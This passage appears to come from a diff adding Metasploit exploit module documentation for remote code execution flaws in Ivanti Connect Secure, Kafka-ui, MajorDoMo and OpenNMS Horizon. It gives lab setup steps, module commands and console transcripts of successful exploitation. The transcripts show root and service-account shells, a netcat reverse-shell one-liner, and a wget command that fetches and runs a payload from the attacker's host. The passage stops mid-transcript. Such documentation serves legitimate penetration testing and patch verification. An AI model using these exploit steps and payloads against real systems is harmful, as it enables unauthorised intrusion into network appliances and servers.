web interface by visiting https://<TARGET_IP_ADDRESS>/admin in your web browser if you want.
## Verification Steps
1. Start msfconsole
2. `use exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805`
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set target 0`
5. `set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp`
6. `check`
7. `exploit`
## Scenarios
To support a broad set of available payloads, we support both a Linux target and a Unix Target. This allows for native
Linux payloads to be used, but also payloads like Python meterpreter or a Bash shell.
### Linux Target
```
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set RHOST 192.168.86.111
RHOST => 192.168.86.111
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set target 0
target => 0
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > show options
Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.111 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME DbFmtsbLwkUU no Name to use on remote system when storing payload; cannot contain spaces.
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces.
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux Command
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > check
[+] 192.168.86.111:443 - The target is vulnerable. IVE-OS 22.3R1 (1647)
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. IVE-OS 22.3R1 (1647)
[*] Sending stage (3045380 bytes) to 192.168.86.111
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.111:27576) at 2024-01-17 10:16:52 +0000
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.86.111
OS : (Linux 4.15.18.34-production)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > cat /home/ssl-vpn-VERSION
export DSREL_MAJOR=22
export DSREL_MINOR=3
export DSREL_MAINT=1
export DSREL_DATAVER=4802
export DSREL_PRODUCT=ssl-vpn
export DSREL_DEPS=ive
export DSREL_BUILDNUM=1647
export DSREL_COMMENT="R1"
meterpreter >
```
### Unix Target
```
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set target 1
target => 1
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > set PAYLOAD cmd/unix/reverse_bash
PAYLOAD => cmd/unix/reverse_bash
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > show options
Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.111 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Unix Command
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > check
[+] 192.168.86.111:443 - The target is vulnerable. IVE-OS 22.3R1 (1647)
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. IVE-OS 22.3R1 (1647)
[*] Command shell session 2 opened (192.168.86.42:4444 -> 192.168.86.111:27582) at 2024-01-17 10:19:19 +0000
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux localhost2 4.15.18.34-production #1 SMP Fri Jun 17 13:08:47 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
pwd
/data/var/cores
cat /home/ssl-vpn-VERSION
export DSREL_MAJOR=22
export DSREL_MINOR=3
export DSREL_MAINT=1
export DSREL_DATAVER=4802
export DSREL_PRODUCT=ssl-vpn
export DSREL_DEPS=ive
export DSREL_BUILDNUM=1647
export DSREL_COMMENT="R1"
exit
[*] 192.168.86.111 - Command shell session 2 closed.
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2023_46805) >
```
@@ -0,0 +1,189 @@
## Vulnerable Application
This module chains a server side request forgery (SSRF) vulnerability (CVE-2024-21893) and a command injection
vulnerability (CVE-2024-21887) to exploit vulnerable instances of either Ivanti Connect Secure or Ivanti
Policy Secure, to achieve unauthenticated remote code execution. All currently supported versions 9.x and
22.x are vulnerable, prior to the vendor patch released on Feb 1, 2024. It is unknown if unsupported versions
8.x and below are also vulnerable.
## Testing
To test we used Ivanti Connect Secure version 22.3R1 (build 1647), deployed as a virtual appliance for HyperV. The
below steps are for HyperV, but it should be very similar to install on VMWare.
* Signup for a trial to download the file `ps-ics-hyper-v-isa-v-22.3r1.0-b1647-package.zip`
* From this ZIP file, extract the file `ISA-V-HYPERV-ICS-22.3R1-1647.1-VT-hyperv.vhdx`
* Create a new VM in HyperV and specify the VHDX file as the hard drives media.
* Boot the VM and follow the console instructions to install the product.
* After installation completes, you will have created an admin account and password. You can log into the admin
web interface by visiting https://<TARGET_IP_ADDRESS>/admin in your web browser if you want.
## Verification Steps
1. Start msfconsole
2. `use exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893`
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp`
5. `check`
6. `exploit`
## Scenarios
To support a broad set of available payloads, we support both the Linux and Unix platforms. This allows for native
Linux payloads to be used, but also payloads like Python meterpreter or a Bash shell.
### Automatic (Linux Payload)
```
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > set RHOST 192.168.86.111
RHOST => 192.168.86.111
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > show options
Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[
,type:host:port][...]
RHOSTS 192.168.86.111 yes The target host(s), see https://docs.me
tasploit.com/docs/using-metasploit/basi
cs/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connecti
ons
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Acc
epted: CURL, FTP, TFTP, TNFTP
, WGET)
FETCH_DELETE false yes Attempt to delete the binary
after execution
FETCH_FILENAME XMZdmHhNxYx no Name to use on remote system
when storing payload; cannot
contain spaces.
FETCH_SRVHOST no Local IP to use for serving p
ayload
FETCH_SRVPORT 8080 yes Local port to use for serving
payload
FETCH_URIPATH no Local URI to use for serving
payload
FETCH_WRITABLE_DI /tmp yes Remote writable dir to store
R payload; cannot contain space
s.
LHOST eth0 yes The listen address (an interf
ace may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > check
[*] 192.168.86.111:443 - The service is running, but could not be validated.
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Sending stage (3045380 bytes) to 192.168.86.111
[*] Meterpreter session 3 opened (192.168.86.42:4444 -> 192.168.86.111:45734) at 2024-02-09 09:21:59 +0000
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.86.111
OS : (Linux 4.15.18.34-production)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > cat /home/ssl-vpn-VERSION
export DSREL_MAJOR=22
export DSREL_MINOR=3
export DSREL_MAINT=1
export DSREL_DATAVER=4802
export DSREL_PRODUCT=ssl-vpn
export DSREL_DEPS=ive
export DSREL_BUILDNUM=1647
export DSREL_COMMENT="R1"
meterpreter > exit
[*] Shutting down session: 3
[*] 192.168.86.111 - Meterpreter session 3 closed. Reason: Died
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) >
```
### Automatic (Unix Payload)
```
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > set PAYLOAD cmd/unix/reverse_bash
PAYLOAD => cmd/unix/reverse_bash
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > show options
Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[
,type:host:port][...]
RHOSTS 192.168.86.111 yes The target host(s), see https://docs.me
tasploit.com/docs/using-metasploit/basi
cs/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connecti
ons
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST eth0 yes The listen address (an interface may be s
pecified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > check
[*] 192.168.86.111:443 - The service is running, but could not be validated.
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Command shell session 4 opened (192.168.86.42:4444 -> 192.168.86.111:45736) at 2024-02-09 09:23:15 +0000
id
uid=0(root) gid=0(root) groups=0(root)
cat /home/ssl-vpn-VERSION
export DSREL_MAJOR=22
export DSREL_MINOR=3
export DSREL_MAINT=1
export DSREL_DATAVER=4802
export DSREL_PRODUCT=ssl-vpn
export DSREL_DEPS=ive
export DSREL_BUILDNUM=1647
export DSREL_COMMENT="R1"
exit
[*] 192.168.86.111 - Command shell session 4 closed.
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) >
```
@@ -0,0 +1,224 @@
## Vulnerable Application
A command injection vulnerability exists in Kafka-ui between `v0.4.0` and `v0.7.1` allowing an attacker to inject
and execute arbitrary shell commands via the `groovy` filter parameter at the `topic` section.
This module has been tested with Kali Linux 2023.11 on the following targets:
* Kafka-ui v0.4.0 running on MacOS Docker Desktop
* Kafka-ui v0.7.0 running on MacOS Docker Desktop
* Kafka-ui v0.7.1 running on MacOS Docker Desktop
## Installation
### Installation steps to install Kafka-ui
* Install `Docker` on your preferred platform.
* Here are the installation instructions for [Docker Desktop on MacOS](https://docs.docker.com/desktop/install/mac-install/).
* Create a empty directory (`kafka-ui`).
* Create the following `docker-compose.yaml` file in the directory. This will automatically create a Kafka cluster with Kafka-ui.
* You can modify the `v0.7.0` in the `yaml` file to pull different versions.
```yaml
version: '2'
networks:
rmoff_kafka:
name: rmoff_kafka
services:
zookeeper:
image: confluentinc/cp-zookeeper:latest
container_name: zookeeper
networks:
- rmoff_kafka
environment:
ZOOKEEPER_CLIENT_PORT: 2181
ZOOKEEPER_TICK_TIME: 2000
ports:
- 22181:2181
kafka:
image: confluentinc/cp-kafka:latest
container_name: kafka
networks:
- rmoff_kafka
depends_on:
- zookeeper
ports:
- 29092:9092
environment:
KAFKA_BROKER_ID: 1
KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181
KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka:9092,PLAINTEXT_HOST://localhost:29092
KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,PLAINTEXT_HOST:PLAINTEXT
KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1
kafka-ui:
container_name: kafka-ui
image: provectuslabs/kafka-ui:v0.7.0
networks:
- rmoff_kafka
ports:
- 8080:8080
depends_on:
- kafka
- zookeeper
environment:
KAFKA_CLUSTERS_0_NAME: local
KAFKA_CLUSTERS_0_BOOTSTRAPSERVERS: kafka:9092
KAFKA_CLUSTERS_0_ZOOKEEPER: zookeeper:2181
KAFKA_BROKERCONNECT: kafka:9092
DYNAMIC_CONFIG_ENABLED: 'true'
KAFKA_CLUSTERS_0_METRICS_PORT: 9997
```
* Run following command `docker-compose up -d` to install and run the Kafka ui and cluster environment.
* Your Kafka ui should be accessible on `http://localhost:8080` with an active Kafka cluster running.
* You can bring down the environment for a fresh start with the command `docker-compose down --volumes`.
You are now ready to test the module.
## Verification Steps
- [x] Start `msfconsole`
- [x] `use exploit/linux/http/kafka_ui_unauth_rce_cve_2023_52251`
- [x] `set rhosts <ip-target>`
- [x] `set lhost <ip-attacker>`
- [x] `set target <0=Unix/Linux Command>`
- [x] `exploit`
you should get a `shell` or `Meterpreter`.
```shell
msf6 exploit(linux/http/kafka_ui_unauth_rce_cve_2023_52251) > info
Name: Kafka UI Unauthenticated Remote Command Execution via the Groovy Filter option.
Module: exploit/linux/http/kafka_ui_unauth_rce_cve_2023_52251
Platform: Unix, Linux
Arch: cmd, x64, x86
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2023-09-27
Provided by:
h00die-gr3y <h00die.gr3y@gmail.com>
BobTheShopLifter and Thingstad
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
=> 0 Unix/Linux Command
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine
or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload information:
Description:
A command injection vulnerability exists in Kafka ui between `v0.4.0` and `v0.7.1` allowing
an attacker to inject and execute arbitrary shell commands via the `groovy` filter parameter
at the `topic` section.
References:
https://nvd.nist.gov/vuln/detail/CVE-2023-52251
https://attackerkb.com/topics/ATJ1hTVB8H/cve-2023-52251
https://github.com/BobTheShoplifter/CVE-2023-52251-POC
View the full module info with the info -d command.
```
## Options
No specific options for this module.
## Scenarios
### Kafka-ui v0.7.0 Unix/Linux Command - cmd/unix/reverse_netcat
```shell
msf6 exploit(linux/http/kafka_ui_unauth_rce_cve_2023_52251) > set verbose true
verbose => true
msf6 exploit(linux/http/kafka_ui_unauth_rce_cve_2023_52251) > exploit
[+] mkfifo /tmp/cpzbj; nc 192.168.201.8 4444 0</tmp/cpzbj | /bin/sh >/tmp/cpzbj 2>&1; rm /tmp/cpzbj
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.25:8080 can be exploited.
[+] The target is vulnerable. Kafka-ui version: 0.7.0
[*] Executing Unix/Linux Command for cmd/unix/reverse_netcat
[*] Searching for active Kafka cluster...
[+] Active Kafka cluster found: local
[*] Creating a new topic...
[+] New topic created: 9nQbg
[*] Trigger Groovy script payload execution by creating a message...
[*] Removing tracks...
[+] Successfully deleted topic 9nQbg.
[*] Command shell session 28 opened (192.168.201.8:4444 -> 192.168.201.25:49429) at 2024-01-20 18:44:52 +0000
uname -a
Linux 889a0c5cec88 6.4.16-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Nov 16 10:55:59 UTC 2023 x86_64 Linux
id
uid=100(kafkaui) gid=101(kafkaui) groups=101(kafkaui)
```
### Kafka-ui v0.7.0 Unix/Linux Command - cmd/linux/http/x64/meterpreter_reverse_tcp
```shell
msf6 exploit(linux/http/kafka_ui_unauth_rce_cve_2023_52251) > exploit
[*] Command to run on remote host: wget -qO /tmp/LfMsMsUxX http://192.168.201.8:1981/Qw3rZo-yo18aYrvy_AQU-w; chmod +x /tmp/LfMsMsUxX; /tmp/LfMsMsUxX &
[*] Fetch Handler listening on 192.168.201.8:1981
[*] HTTP server started
[*] Adding resource /Qw3rZo-yo18aYrvy_AQU-w
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.25:8080 can be exploited.
[+] The target appears to be vulnerable. Kafka-ui version: 0.7.0
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter_reverse_tcp
[*] Searching for active Kafka cluster...
[+] Active Kafka cluster found: local
[*] Creating a new topic...
[+] New topic created: D9kH687
[*] Trigger Groovy script payload execution by creating a message...
[*] Removing tracks...
[*] Client 192.168.201.25 requested /Qw3rZo-yo18aYrvy_AQU-w
[*] Sending payload to 192.168.201.25 (Wget)
[+] Successfully deleted topic D9kH687.
[*] Meterpreter session 29 opened (192.168.201.8:4444 -> 192.168.201.25:50355) at 2024-01-23 08:47:41 +0000
meterpreter > sysinfo
Computer : 172.30.0.4
OS : (Linux 6.4.16-linuxkit)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: kafkaui
meterpreter >
```
## Limitations
No limitations.
@@ -0,0 +1,129 @@
## Vulnerable Application
This module exploits a command injection vulnerability in MajorDoMo versions before 0662e5e. To set up a test environment:
1. Download MajorDoMo by executing the following command:
```
curl -s https://raw.githubusercontent.com/sergejey/majordomo-rpi-install/main/install.sh | bash && bash ~/majordomo-rpi-install/install.sh
```
2. Follow the installation script instructions to install MajorDoMo on a Raspberry Pi or a Linux-based server.
3. Ensure that the network interface is active and properly configured during installation.
4. Replace `/var/www/html/modules/thumb/thumb.php` with
https://raw.githubusercontent.com/sergejey/majordomo/1167ca408a911c98937000516588c12cc33a1ab7/modules/thumb/thumb.php.
5. After installation, verify that the MajorDoMo service is operational and accessible over the network.
## Verification Steps
1. Install MajorDoMo with a version prior to 0662e5e.
2. Start msfconsole in your Metasploit environment.
3. Do: `use exploit/linux/http/majordomo_cmd_inject_cve_2023_50917`
4. Set the RHOSTS to the target IP address or hostname.
5. Do: `run`
6. If the target is vulnerable, the exploit will execute the specified payload.
## Options
No options
## Scenarios
### Successful Exploitation against MajorDoMo
This scenario demonstrates exploiting MajorDoMo on a Linux server.
**Environment**:
- MajorDoMo before 0662e5e
- Linux Server or Raspberry Pi
- Metasploit Framework
**Expected Output**:
```
msf6 > search cve_2023_50917
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/http/majordomo_cmd_inject_cve_2023_50917 2023-12-15 excellent Yes MajorDoMo Command Injection
Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/majordomo_cmd_inject_cve_2023_50917
msf6 > use 0
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/majordomo_cmd_inject_cve_2023_50917) > options
Module options (exploit/linux/http/majordomo_cmd_inject_cve_2023_50917):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format typ
e:host:port[,type:host:port
][...]
RHOSTS yes The target host(s), see htt
ps://docs.metasploit.com/do
cs/using-metasploit/basics/
using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgo
ing connections
TARGETURI / yes The URI path to MajorDoMo
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch paylo
ad (Accepted: CURL, FT
P, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the
binary after execution
FETCH_FILENAME GRigjGGzCVI no Name to use on remote
system when storing pa
yload; cannot contain
spaces.
FETCH_SRVHOST no Local IP to use for se
rving payload
FETCH_SRVPORT 8080 yes Local port to use for
serving payload
FETCH_URIPATH no Local URI to use for s
erving payload
FETCH_WRITABLE yes Remote writable dir to
_DIR store payload; cannot
contain spaces.
LHOST 192.168.1.5 yes The listen address (an
interface may be spec
ified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/majordomo_cmd_inject_cve_2023_50917) > set rhosts 192.168.1.18
rhosts => 192.168.1.18
msf6 exploit(linux/http/majordomo_cmd_inject_cve_2023_50917) > exploit
[*] Started reverse TCP handler on 192.168.1.5:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.1.18:80 can be exploited!
[+] Target is identified as MajorDoMo instance
[*] Performing command injection test issuing a sleep command of 9 seconds.
[*] Elapsed time: 9.112166871999989 seconds.
[+] The target is vulnerable. Successfully tested command injection.
[*] Sending stage (3045380 bytes) to 192.168.1.18
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.18:60054) at 2023-12-21 23:56:54 +0100
meterpreter > getuid
Server username: www-data
```
@@ -0,0 +1,237 @@
## Vulnerable Application
This module exploits built-in functionality in OpenNMS Horizon in order to execute arbitrary commands as the opennms user.
For versions 32.0.2 and higher, this module requires valid credentials for a user
with ROLE_FILESYSTEM_EDITOR privileges and either ROLE_ADMIN or ROLE_REST.
For versions 32.0.1 and lower, credentials are required for a user with ROLE_FILESYSTEM_EDITOR, ROLE_REST, and/or ROLE_ADMIN privileges.
The module first tries to authenticate to the target in order to verify the credentials and obtain the OpenNMS version.
Next, the module attempts to obtain the privileges for the current user via the `/rest/users` endpoint
and if that fails, via `/rest/filesystem/contents?f=users.xml`.
The module then uses the obtained OpenNMS version number and user privileges to see if exploitation is possible.
If the user has `ROLE_FILESYSTEM_EDITOR` privileges and either `ROLE_REST` or `ROLE_ADMIN`,
exploitation is attempted directly, regardless of the OpenNMS version.
If the user has `ROLE_ADMIN` privileges, exploitation is attempted, regardless of the OpenNMS version.
In this case, the module will first use the REST API to add `ROLE_FILESYSTEM_EDITOR` privileges for the user.
If the target is OpenNMS version 32.0.1 or lower and the highest user privileges are `ROLE_FILESYSTEM_EDITOR` or `ROLE_REST`,
the module will automatically escalate privileges via CVE-2023-40315 or CVE-2023-0872, respectively.
Once the user has the required privileges, the module takes the following approach to try and exploit the target:
- It uses `/rest/filesystem` to write a payload to a .bsh file on the target
- It uses `/rest/filesystem` to create a "notificationCommand" to execute the payload
- It uses `/rest/filesystem` to create a "destinationPath" to specify the "notificationCommand"
- It uses `/rest/filesystem` to create a "notification" for whenever an invalid login is performed to the web app.
This "notification" points to the "destinationPath".
- It uses `/rest/events` to reload the OpenNMS configuration
- It performs an invalid login to OpenNMS in order to trigger the "notification", which will trigger the payload.
The triggering of the payload can take several seconds, which is why the `WfsDelay` option is set to 15 by default.
This module has been successfully tested against OpenNMS version 31.0.7
## Installation Information
OpenNMS is open source software and is available on [GitHub](https://github.com/OpenNMS/opennms).
Documentation, including installation information, is available [here](https://docs.opennms.com/horizon/31/index.html).
The easiest way to install OpenNMS is via docker. This requires creating two docker-compose files,
one for the PostgreSQL database and one for OpenNMS Horizon:
The PostgreSQL docker-compose file should look something like this:
```
---
version: '3'
volumes:
data-postgres: {}
services:
database:
image: postgres:15.5
container_name: database
environment:
TZ: 'America/New_York'
POSTGRES_USER: 'postgres'
POSTGRES_PASSWORD: 'postgres'
volumes:
- 'data-postgres:/var/lib/postgresql/data'
healthcheck:
test: [ "CMD-SHELL", "pg_isready -U postgres" ]
interval: 10s
timeout: 3s
retries: 3
ports:
- '5432:5432/tcp'
```
For OpenNMS Horizon 31.0.8, the OpenNMS Horizon docker-compose file should look something like this, but any other version can be specified:
```
---
version: '3'
volumes:
data-opennms: {}
data-config: {}
services:
horizon:
image: opennms/horizon:31.0.8
container_name: horizon
environment:
TZ: 'America/New_York'
POSTGRES_HOST: '192.168.91.202'
POSTGRES_PORT: 5432
POSTGRES_USER: 'postgres'
POSTGRES_PASSWORD: 'postgres'
OPENNMS_DBNAME: 'opennms-core-db'
OPENNMS_DBUSER: 'opennms'
OPENNMS_DBPASS: 'my-opennms-db-password'
volumes:
- data-opennms:/opennms-data
- data-config:/opt/opennms/etc
command: ["-s"]
ports:
- '8980:8980/tcp'
- '8101:8101/tcp'
healthcheck:
test: [ 'CMD', 'curl', '-f', '-I', 'http://localhost:8980/opennms/login.jsp' ]
interval: 1m
timeout: 5s
retries: 3
```
The OpenNMS web app will then be available on port 8980. The default credentials are admin:admin.
## Verification Steps
1. Start `msfconsole`
2. Do: `use exploit/linux/http/opennms_horizon_authenticated_rce`
3. Do: `set RHOSTS [IP]`
4. Do: `set LHOST [IP]`
5. Do: `set FETCH_SRVHOST [IP]`
6. Do: `exploit`
## Options
### TARGETURI
The base path to OpenNMS. The default value is `/`.
### USERNAME
Username to authenticate with. The default value is `admin`
### PASSWORD
Password to authenticate with. The default value is `admin`
## Advanced Options
### PRIVESC_SAVE_DELAY
The time in seconds to wait for privesc changes to go into effect. This is used only when escalating privileges via CVE-2023-40315.
The default value is `3`.
## Targets
```
Id Name
-- ----
0 Linux
```
## Scenarios
### OpenNMS Horizon 31.0.7 - Exploitation via CVE-2023-0872
```
msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > options
Module options (exploit/linux/http/opennms_horizon_authenticated_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD rest yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.91.196 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8980 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /opennms/ yes The base path to OpenNMS
URIPATH no The URI to use for this exploit (default is random)
USERNAME rest yes Username to authenticate with
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 192.168.91.196 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME fZn no Name to use on remote system when storing payload; cannot contain spaces.
FETCH_SRVHOST 192.168.91.196 no Local IP to use for serving payload
FETCH_SRVPORT 8081 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces.
LHOST 192.168.91.196 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux
msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > run
[*] Started reverse TCP handler on 192.168.91.196:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] The target is OpenNMS version 31.0.7 and is likely vulnerable to CVE-2023-40315 and CVE-2023-0872.
[+] The target appears to be vulnerable. User rest has ROLE_REST privileges. Exploitation is likely possible via CVE-2023-0872.
[+] Successfully escalated privileges by adding ROLE_FILESYSTEM_EDITOR
[*] Successfully edited notificationCommands.xml
[*] Successfully edited destinationPaths.xml
[*] Successfully edited notifications.xml
[+] Successfully uploaded the payload to rebxympptby.bsh
[*] Triggering the notification to execute the payload
[*] Received expected response while triggering the payload. Please be patient, it may take a few seconds for the payload to execute.
[*] Sending stage (3045380 bytes) to 172.20.0.2
[*] Meterpreter session 1 opened (192.168.91.196:4444 -> 172.20.0.2:56974) at 2023-12-13 17:30:55 +0200
[*] Attempting cleanup...
meterpreter > getuid
Server username: opennms
```
### OpenNMS Horizon 31.0.7 - Exploitation via CVE-2023-40315
```
msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > set username file
